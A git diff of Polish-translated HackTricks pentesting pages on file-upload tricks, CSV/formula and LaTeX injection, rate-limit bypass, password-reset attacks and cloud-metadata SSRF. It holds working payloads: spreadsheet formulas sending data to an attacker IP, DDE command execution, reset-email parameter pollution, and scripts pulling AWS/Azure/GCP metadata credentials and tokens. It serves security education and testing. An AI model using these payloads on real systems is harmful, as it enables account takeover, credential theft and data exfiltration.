10. **PDF / PPTX**: SSRF / BLIND XXE
#### Rozszerzenie Burp
@ -199,7 +199,7 @@ Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magic Header Bytes
## Magiczne bajty nagłówka
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że ta konfiguracja może chronić przed wykonywaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Pomimo początkowych założeń, że ta konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
Zautomatyzowany exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można używać w sposób pokazany:
```python
@ -289,7 +289,7 @@ pop graphic-context
```
## Osadzanie powłoki PHP w PNG
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania niezmienioną przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia.
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania nietkniętą przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia.
Szczegółowe omówienie tej techniki, w tym jej metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). To źródło oferuje kompleksowe zrozumienie procesu i jego implikacji.
@ -297,7 +297,7 @@ Więcej informacji w: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
## Pliki poliglotowe
Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są również kombinacje takie jak GIF i JS lub PPT i JS.
Podstawowa użyteczność plików poliglotowych polega na ich zdolności do omijania środków bezpieczeństwa, które skanują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania—takie jak JPEG, GIF lub DOC—aby zminimalizować ryzyko związane z potencjalnie szkodliwymi formatami (np. JS, PHP lub pliki Phar). Jednak plik poliglotowy, dostosowując się do kryteriów strukturalnych wielu typów plików, może dyskretnie omijać te ograniczenia.
@ -307,9 +307,9 @@ Więcej informacji w: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
### Przesyłanie ważnych plików JSON jakby to był PDF
Jak uniknąć wykrywania typów plików, przesyłając ważny plik JSON, nawet jeśli nie jest to dozwolone, udając plik PDF (techniki z **[tego wpisu na blogu](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Jak uniknąć wykrywania typu pliku, przesyłając ważny plik JSON, nawet jeśli nie jest to dozwolone, udając plik PDF (techniki z **[tego wpisu na blogu](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **Biblioteka `mmmagic`**: Dopóki bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, jest to ważne (przykład z wpisu)
- **Biblioteka `mmmagic`**: Tak długo, jak bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, jest to ważne (przykład z wpisu)
- **Biblioteka `pdflib`**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka myślała, że to PDF (przykład z wpisu)
- **Binarne `file`**: Może odczytać do 1048576 bajtów z pliku. Po prostu stwórz JSON większy niż to, aby nie mógł sparsować zawartości jako JSON, a następnie wewnątrz JSON umieść początkową część prawdziwego PDF, a pomyśli, że to PDF

View File

@ -6,10 +6,10 @@
### Info
Jeśli twój **input** jest **odzwierciedlany** w **plikach CSV** (lub jakichkolwiek innych plikach, które prawdopodobnie będą otwierane przez **Excel**), możesz być w stanie wprowadzić **formuły** Excela, które będą **wykonywane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excela.
Jeśli twój **input** jest **odzwierciedlany** w **plikach CSV** (lub jakichkolwiek innych plikach, które prawdopodobnie będą otwierane przez **Excel**), możesz być w stanie wprowadzić **formuły** Excel, które będą **wykonywane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excel.
> [!CAUTION]
> Obecnie **Excel będzie ostrzegać** (wielokrotnie) **użytkownika, gdy coś jest ładowane z zewnątrz Excela**, aby zapobiec działaniom złośliwym. Dlatego należy szczególnie skupić się na inżynierii społecznej w końcowym ładunku.
> Obecnie **Excel ostrzega** (wielokrotnie) **użytkownika, gdy coś jest ładowane z zewnątrz Excel**, aby zapobiec działaniom złośliwym. Dlatego należy szczególnie skupić się na inżynierii społecznej w końcowym ładunku.
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
@ -26,15 +26,15 @@ DDE ("cmd";"/C calc";"!A0")A0
Poniższy przykład został zaczerpnięty z [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania rekordami studentów, które jest wykorzystywane poprzez atak CSV injection. Głównym celem atakującego jest kompromitacja systemu używanego przez nauczycieli do zarządzania danymi studentów. Metoda polega na tym, że atakujący wstrzykuje złośliwy ładunek do aplikacji, w szczególności poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na dane studentów. Atak rozwija się w następujący sposób:
Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania rekordami studentów, które zostało wykorzystane poprzez atak CSV injection. Głównym celem atakującego jest kompromitacja systemu używanego przez nauczycieli do zarządzania danymi studentów. Metoda polega na tym, że atakujący wstrzykuje złośliwy ładunek do aplikacji, w szczególności poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na dane studentów. Atak rozwija się w następujący sposób:
1. **Wstrzyknięcie złośliwego ładunku:**
- Atakujący przesyła formularz danych studenta, ale dodaje formułę powszechnie używaną w arkuszach kalkulacyjnych (np. `=HYPERLINK("<malicious_link>","Kliknij tutaj")`).
- Ta formuła ma na celu stworzenie hiperłącza, ale wskazuje na złośliwy serwer kontrolowany przez atakującego.
- Ta formuła ma na celu utworzenie hiperłącza, ale wskazuje na złośliwy serwer kontrolowany przez atakującego.
2. **Eksportowanie skompromitowanych danych:**
- Nauczyciele, nieświadomi kompromitacji, korzystają z funkcji aplikacji, aby wyeksportować dane do pliku CSV.
- Plik CSV, po otwarciu, nadal zawiera złośliwy ładunek. Ten ładunek pojawia się jako klikalne hiperłącze w arkuszu kalkulacyjnym.
3. **Wywołanie ataku:**
3. **Uruchomienie ataku:**
- Nauczyciel klika w hiperłącze, wierząc, że jest to legalna część danych studenta.
- Po kliknięciu, wrażliwe dane (potencjalnie w tym szczegóły z arkusza kalkulacyjnego lub komputera nauczyciela) są przesyłane na serwer atakującego.
4. **Rejestrowanie danych:**
@ -70,7 +70,7 @@ LibreOffice Calc może być używany do odczytu lokalnych plików i eksfiltracji
Google Sheets oferuje funkcje, które mogą być wykorzystane do eksfiltracji danych OOB:
- **CONCATENATE**: Łączy ciągi - `=CONCATENATE(A2:E2)`
- **CONCATENATE**: Łączy ciągi razem - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: Importuje dane z typów danych strukturalnych - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: Importuje kanały RSS lub ATOM - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: Importuje dane z tabel HTML lub list - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
@ -79,11 +79,11 @@ Google Sheets oferuje funkcje, które mogą być wykorzystane do eksfiltracji da
## Wstrzyknięcie LaTeX
Zazwyczaj serwery, które znajdziesz w internecie, które **konwertują kod LaTeX na PDF** używają **`pdflatex`**.\
Zazwyczaj serwery, które można znaleźć w internecie, które **konwertują kod LaTeX na PDF** używają **`pdflatex`**.\
Ten program używa 3 głównych atrybutów do (z)zezwolenia na wykonanie poleceń:
- **`--no-shell-escape`**: **Wyłącza** konstrukcję `\write18{command}`, nawet jeśli jest włączona w pliku texmf.cnf.
- **`--shell-restricted`**: To samo co `--shell-escape`, ale **ograniczone** do 'bezpiecznego' zestawu **zdefiniowanych** \*\*poleceń (\*\*Na Ubuntu 16.04 lista znajduje się w `/usr/share/texmf/web2c/texmf.cnf`).
- **`--shell-restricted`**: To samo co `--shell-escape`, ale **ograniczone** do 'bezpiecznego' zestawu **zdefiniowanych** **poleceń** (**Na Ubuntu 16.04 lista znajduje się w `/usr/share/texmf/web2c/texmf.cnf`).
- **`--shell-escape`**: **Włącza** konstrukcję `\write18{command}`. Polecenie może być dowolnym poleceniem powłoki. Ta konstrukcja jest zazwyczaj zabroniona z powodów bezpieczeństwa.
Jednak istnieją inne sposoby na wykonanie poleceń, więc aby uniknąć RCE, bardzo ważne jest użycie `--shell-restricted`.
@ -165,11 +165,11 @@ Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Wstrzyknięcie Ghostscript
## Ghostscript Injection
**Sprawdź** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Odniesienia
## References
- [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
- [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)

View File

@ -1,12 +1,12 @@
# Ominięcie limitu szybkości
# Rate Limit Bypass
{{#include ../banners/hacktricks-training.md}}
## Techniki omijania limitu szybkości
## Techniki omijania limitów
### Badanie podobnych punktów końcowych
Należy podjąć próby przeprowadzenia ataków brute force na warianty docelowego punktu końcowego, takie jak `/api/v3/sign-up`, w tym alternatywy takie jak `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` itp.
Należy podjąć próby przeprowadzenia ataków brute force na warianty docelowego punktu końcowego, takie jak `/api/v3/sign-up`, w tym alternatywy takie jak `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` itd.
### Wprowadzanie pustych znaków w kodzie lub parametrach
@ -14,7 +14,7 @@ Wstawianie pustych bajtów, takich jak `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0
### Manipulowanie pochodzeniem IP za pomocą nagłówków
Modyfikowanie nagłówków w celu zmiany postrzeganego pochodzenia IP może pomóc w uniknięciu limitowania szybkości opartego na IP. Nagłówki takie jak `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, w tym użycie wielu instancji `X-Forwarded-For`, mogą być dostosowane w celu symulacji żądań z różnych adresów IP.
Modyfikacja nagłówków w celu zmiany postrzeganego pochodzenia IP może pomóc w ominięciu limitów opartych na IP. Nagłówki takie jak `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, w tym użycie wielu instancji `X-Forwarded-For`, mogą być dostosowane w celu symulacji żądań z różnych adresów IP.
```bash
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
@ -36,9 +36,9 @@ Zaleca się modyfikację innych nagłówków żądania, takich jak user-agent i
Niektóre bramy API są skonfigurowane do stosowania limitów na podstawie kombinacji punktu końcowego i parametrów. Zmienianie wartości parametrów lub dodawanie nieistotnych parametrów do żądania może umożliwić obejście logiki limitowania bramy, sprawiając, że każde żądanie wydaje się unikalne. Na przykład `/resetpwd?someparam=1`.
### Logowanie się do Konta Przed Każdą Próba
### Logowanie się do Konta Przed Każdym Próbą
Logowanie się do konta przed każdą próbą lub każdą serią prób może zresetować licznik limitu. Jest to szczególnie przydatne podczas testowania funkcji logowania. Wykorzystanie ataku Pitchfork w narzędziach takich jak Burp Suite, aby rotować dane logowania co kilka prób i upewnić się, że przekierowania są oznaczone, może skutecznie zresetować liczniki limitu.
Logowanie się do konta przed każdą próbą lub każdym zestawem prób może zresetować licznik limitu. Jest to szczególnie przydatne podczas testowania funkcji logowania. Wykorzystanie ataku Pitchfork w narzędziach takich jak Burp Suite, aby rotować dane uwierzytelniające co kilka prób i upewnić się, że przekierowania są oznaczone, może skutecznie zrestartować liczniki limitu.
### Wykorzystanie Sieci Proxy
@ -50,6 +50,10 @@ Jeśli system docelowy stosuje limity na poziomie konta lub sesji, rozdzielenie
### Kontynuuj Próby
Zauważ, że nawet jeśli limit jest wprowadzony, powinieneś spróbować zobaczyć, czy odpowiedź jest inna, gdy wysłany jest ważny OTP. W [**tym poście**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), łowca błędów odkrył, że nawet jeśli limit jest wyzwolony po 20 nieudanych próbach, odpowiadając z 401, jeśli wysłano ważny, otrzymano odpowiedź 200.
Zauważ, że nawet jeśli limit jest wprowadzony, powinieneś spróbować sprawdzić, czy odpowiedź jest inna, gdy wysłany jest ważny OTP. W [**tym poście**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), łowca błędów odkrył, że nawet jeśli limit jest wyzwolony po 20 nieudanych próbach, odpowiadając z 401, jeśli wysłano ważny, otrzymano odpowiedź 200.
### Narzędzia
- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz to narzędzie do fuzzingu zaprojektowane do testowania i omijania WAF-ów i CDN-ów. Wykorzystując zaawansowane funkcje, takie jak losowy User-Agent i wartość nagłówka, losowe opóźnienia, obsługę wielowątkowości, selektywne dzielenie list słów i rotację proxy Round Robin dla każdego podzielonego, oferuje solidne rozwiązanie dla profesjonalistów zajmujących się bezpieczeństwem, którzy dążą do identyfikacji luk w aplikacjach internetowych.
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
### Duplikat Rejestracji
- Spróbuj wygenerować przy użyciu istniejącej nazwy użytkownika
- Spróbuj wygenerować używając istniejącej nazwy użytkownika
- Sprawdź różne warianty e-maila:
- wielkie litery
- \+1@
@ -23,11 +23,11 @@ Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika została już zarejestr
### Polityka Hasła
Tworząc użytkownika, sprawdź politykę haseł (sprawdź, czy możesz używać słabych haseł).\
W takim przypadku możesz spróbować przeprowadzić atak brute force na dane logowania.
W takim przypadku możesz spróbować bruteforce'ować dane logowania.
### SQL Injection
[**Sprawdź tę stronę** ](sql-injection/index.html#insert-statement), aby dowiedzieć się, jak próbować przejąć konta lub wydobywać informacje za pomocą **SQL Injections** w formularzach rejestracyjnych.
[**Sprawdź tę stronę** ](sql-injection/index.html#insert-statement), aby dowiedzieć się, jak próbować przejęć kont lub wydobywać informacje za pomocą **SQL Injections** w formularzach rejestracyjnych.
### Przejęcia Oauth
@ -72,7 +72,7 @@ Po rejestracji spróbuj zmienić e-mail i sprawdź, czy ta zmiana jest poprawnie
4. Szukaj URL resetu hasła na podstawie _nagłówka host_ jak: `https://attacker.com/reset-password.php?token=TOKEN`
### Reset Hasła przez Parametr E-mail <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -92,16 +92,16 @@ email=victim@mail.com|hacker@mail.com
1. Atakujący musi zalogować się na swoje konto i przejść do funkcji **Zmień hasło**.
2. Uruchom Burp Suite i przechwyć żądanie.
3. Wyślij je do zakładki repeater i edytuj parametry: ID użytkownika/email\
3. Wyślij je do zakładki repeater i edytuj parametry: User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Słaby token resetowania hasła <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Token resetowania hasła powinien być generowany losowo i unikalnie za każdym razem.\
Token resetowania hasła powinien być generowany losowo i unikalny za każdym razem.\
Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam; w niektórych przypadkach algorytm generacji jest słaby i można go odgadnąć. Poniższe zmienne mogą być używane przez algorytm.
- Znacznik czasu
- ID użytkownika
- Timestamp
- UserID
- Email użytkownika
- Imię i nazwisko
- Data urodzenia
@ -113,15 +113,15 @@ Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam; w niektórych prz
### Wyciekanie tokenu resetowania hasła <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Wywołaj żądanie resetowania hasła za pomocą API/UI dla konkretnego emaila, np.: test@mail.com
1. Wywołaj żądanie resetowania hasła za pomocą API/UI dla konkretnego adresu e-mail, np.: test@mail.com
2. Sprawdź odpowiedź serwera i poszukaj `resetToken`
3. Następnie użyj tokenu w URL, jak `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Resetowanie hasła przez kolizję nazw użytkowników <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Zarejestruj się w systemie z nazwą użytkownika identyczną do nazwy użytkownika ofiary, ale z wstawionymi białymi znakami przed i/lub po nazwie użytkownika. np.: `"admin "`
2. Poproś o resetowanie hasła za pomocą swojego złośliwego nazwy użytkownika.
3. Użyj tokenu wysłanego na swój email i zresetuj hasło ofiary.
1. Zarejestruj się w systemie z nazwą użytkownika identyczną do nazwy użytkownika ofiary, ale z wstawionymi spacjami przed i/lub po nazwie użytkownika, np.: `"admin "`
2. Poproś o resetowanie hasła za pomocą swojej złośliwej nazwy użytkownika.
3. Użyj tokenu wysłanego na swój e-mail i zresetuj hasło ofiary.
4. Zaloguj się na konto ofiary za pomocą nowego hasła.
Platforma CTFd była podatna na ten atak.\

View File

@ -1,4 +1,4 @@
# Sieć - Privesc, skaner portów i ujawnienie odpowiedzi NTLM
# Sieć - Privesc, Skaner Portów i ujawnienie odpowiedzi NTLM
{{#include ../../../banners/hacktricks-training.md}}
@ -16,7 +16,7 @@ Plik `pg_hba.conf` może być źle skonfigurowany **pozwalając na połączenia*
```
local all all trust
```
_Note, że ta konfiguracja jest powszechnie używana do modyfikacji hasła użytkownika bazy danych, gdy administrator je zapomni, więc czasami możesz to znaleźć._\
_Note, że ta konfiguracja jest powszechnie używana do modyfikacji hasła użytkownika bazy danych, gdy administrator je zapomni, więc czasami możesz znaleźć._\
_Note również, że plik pg_hba.conf jest czytelny tylko dla użytkownika i grupy postgres oraz zapisywalny tylko przez użytkownika postgres._
Ten przypadek jest **przydatny, jeśli** masz **już** **powłokę** wewnątrz ofiary, ponieważ pozwoli ci to połączyć się z bazą danych postgresql.
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
```
### Port Scanning
Wykorzystując `dblink_connect`, możesz również **wyszukiwać otwarte porty**. Jeśli ta \*\*funkcja nie działa, powinieneś spróbować użyć `dblink_connect_u()`, ponieważ dokumentacja mówi, że `dblink_connect_u()` jest identyczna z `dblink_connect()`, z tą różnicą, że pozwoli użytkownikom niebędącym superużytkownikami łączyć się przy użyciu dowolnej metody uwierzytelniania\_.
Wykorzystując `dblink_connect`, możesz również **wyszukiwać otwarte porty**. Jeśli ta **funkcja nie działa, powinieneś spróbować użyć `dblink_connect_u()`, ponieważ dokumentacja mówi, że `dblink_connect_u()` jest identyczna z `dblink_connect()`, z wyjątkiem tego, że pozwoli użytkownikom niebędącym superużytkownikami łączyć się przy użyciu dowolnej metody uwierzytelniania**.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443

View File

@ -15,7 +15,7 @@ Istnieją **2 wersje** punktu końcowego metadanych. **Pierwsza** pozwala na **d
>
> Ponadto, **IMDSv2** również **zablokuje żądania o token, które zawierają nagłówek `X-Forwarded-For`**. Ma to na celu zapobieżenie dostępowi do niego przez źle skonfigurowane proxy odwrotne.
Możesz znaleźć informacje o [punktach końcowych metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskuje się z niego interesujące informacje:
Możesz znaleźć informacje o [punktach końcowych metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskuje się interesujące informacje z niego:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -79,9 +79,9 @@ Jako **publicznie dostępny przykład ujawnionych poświadczeń IAM** możesz od
Możesz również sprawdzić publiczne **poświadczenia bezpieczeństwa EC2** w: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Możesz następnie wziąć **te poświadczenia i użyć ich z AWS CLI**. To pozwoli ci na **wszystko, co ta rola ma uprawnienia** do zrobienia.
Możesz następnie wziąć **te poświadczenia i użyć ich z AWS CLI**. To pozwoli ci zrobić **wszystko, co ta rola ma uprawnienia** do zrobienia.
Aby skorzystać z nowych poświadczeń, będziesz musiał utworzyć nowy profil AWS, taki jak ten:
Aby skorzystać z nowych poświadczeń, musisz utworzyć nowy profil AWS, taki jak ten:
```
[profilename]
aws_access_key_id = ASIA6GG71[...]
@ -90,7 +90,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
```
Zauważ **aws_session_token**, jest to niezbędne do działania profilu.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) może być używane z odkrytymi poświadczeniami, aby dowiedzieć się o swoich uprawnieniach i spróbować je eskalować.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) może być użyty z odkrytymi poświadczeniami, aby dowiedzieć się o swoich uprawnieniach i spróbować je eskalować.
### SSRF w AWS ECS (usługa kontenerowa) poświadczenia
@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
```
### Cloud Functions
Endpoint metadanych działa tak samo jak w VM, ale bez niektórych endpointów:
Endpoint metadanych działa tak samo jak w VM, ale bez niektórych punktów końcowych:
```bash
# /project
# Project name and number
@ -323,15 +323,15 @@ curl http://169.254.169.254/metadata/v1.json | jq
- Nie może **zawierać** nagłówka `X-Forwarded-For`
> [!TIP]
> Azure VM może mieć przypisaną 1 tożsamość zarządzaną przez system oraz kilka tożsamości zarządzanych przez użytkownika. Co zasadniczo oznacza, że możesz **podszywać się pod wszystkie tożsamości zarządzane przypisane do VM**.
> Azure VM może mieć przypisaną 1 tożsamość zarządzaną przez system i kilka tożsamości zarządzanych przez użytkownika. Co zasadniczo oznacza, że możesz **podszywać się pod wszystkie tożsamości zarządzane przypisane do VM**.
>
> Domyślnie punkt końcowy metadanych użyje **przypisanej tożsamości MI (jeśli istnieje)**.
> Podczas żądania tokena dostępu do punktu końcowego metadanych, domyślnie usługa metadanych użyje **tożsamości zarządzanej przypisanej przez system** do wygenerowania tokena, jeśli istnieje jakakolwiek tożsamość zarządzana przypisana przez system. W przypadku, gdy istnieje tylko **JEDNA tożsamość zarządzana przypisana przez użytkownika**, to ta będzie używana domyślnie. Jednak w przypadku braku tożsamości zarządzanej przypisanej przez system i istnienia **wielu tożsamości zarządzanych przypisanych przez użytkownika**, usługa metadanych zwróci błąd wskazujący, że istnieje wiele tożsamości zarządzanych i konieczne jest **określenie, którą użyć**.
>
> Niestety nie mogłem znaleźć żadnego punktu końcowego metadanych wskazującego wszystkie MI przypisane do VM.
> Niestety nie mogłem znaleźć żadnego punktu końcowego metadanych wskazującego wszystkie MI przypisane do VM, więc odkrycie wszystkich przypisanych tożsamości zarządzanych do VM może być trudnym zadaniem z perspektywy Red Team.
>
> Dlatego, aby znaleźć wszystkie przypisane MI, możesz zrobić:
>
> - Uzyskaj **przypisane tożsamości za pomocą az cli** (jeśli już skompromitowałeś główny obiekt w dzierżawie Azure)
> - Uzyskaj **przypisane tożsamości za pomocą az cli** (jeśli już skompromitowałeś główny w tenant Azure)
>
> ```bash
> az vm identity show \
@ -362,14 +362,14 @@ curl http://169.254.169.254/metadata/v1.json | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Uzyskaj wszystkie** zdefiniowane tożsamości zarządzane w dzierżawie i **przeprowadź brute force**, aby sprawdzić, czy którakolwiek z nich jest przypisana do VM:
> - **Uzyskaj wszystkie** zdefiniowane tożsamości zarządzane w tenant i **brute force**, aby sprawdzić, czy którakolwiek z nich jest przypisana do VM:
>
> ```bash
> az identity list
> ```
> [!OSTRZEŻENIE]
> W żądaniach tokenów użyj dowolnego z parametrów `object_id`, `client_id` lub `msi_res_id`, aby wskazać tożsamość zarządzaną, której chcesz użyć ([**dokumentacja**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Jeśli żadna, to **domyślna MI będzie użyta**.
> W żądaniach tokenów użyj dowolnego z parametrów `object_id`, `client_id` lub `msi_res_id`, aby wskazać tożsamość zarządzaną, którą chcesz użyć ([**dokumentacja**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Jeśli żadna, to **domyślna MI będzie używana**.
{{#tabs}}
{{#tab name="Bash"}}
@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http:
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
## Get management token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
## Get graph token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
## Get vault token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
## Get storage token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
# More Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08
{{#endtab}}
{{#tab name="PS"}}
```powershell
```bash
# Define the API version
$API_VERSION = "2019-08-01"
@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
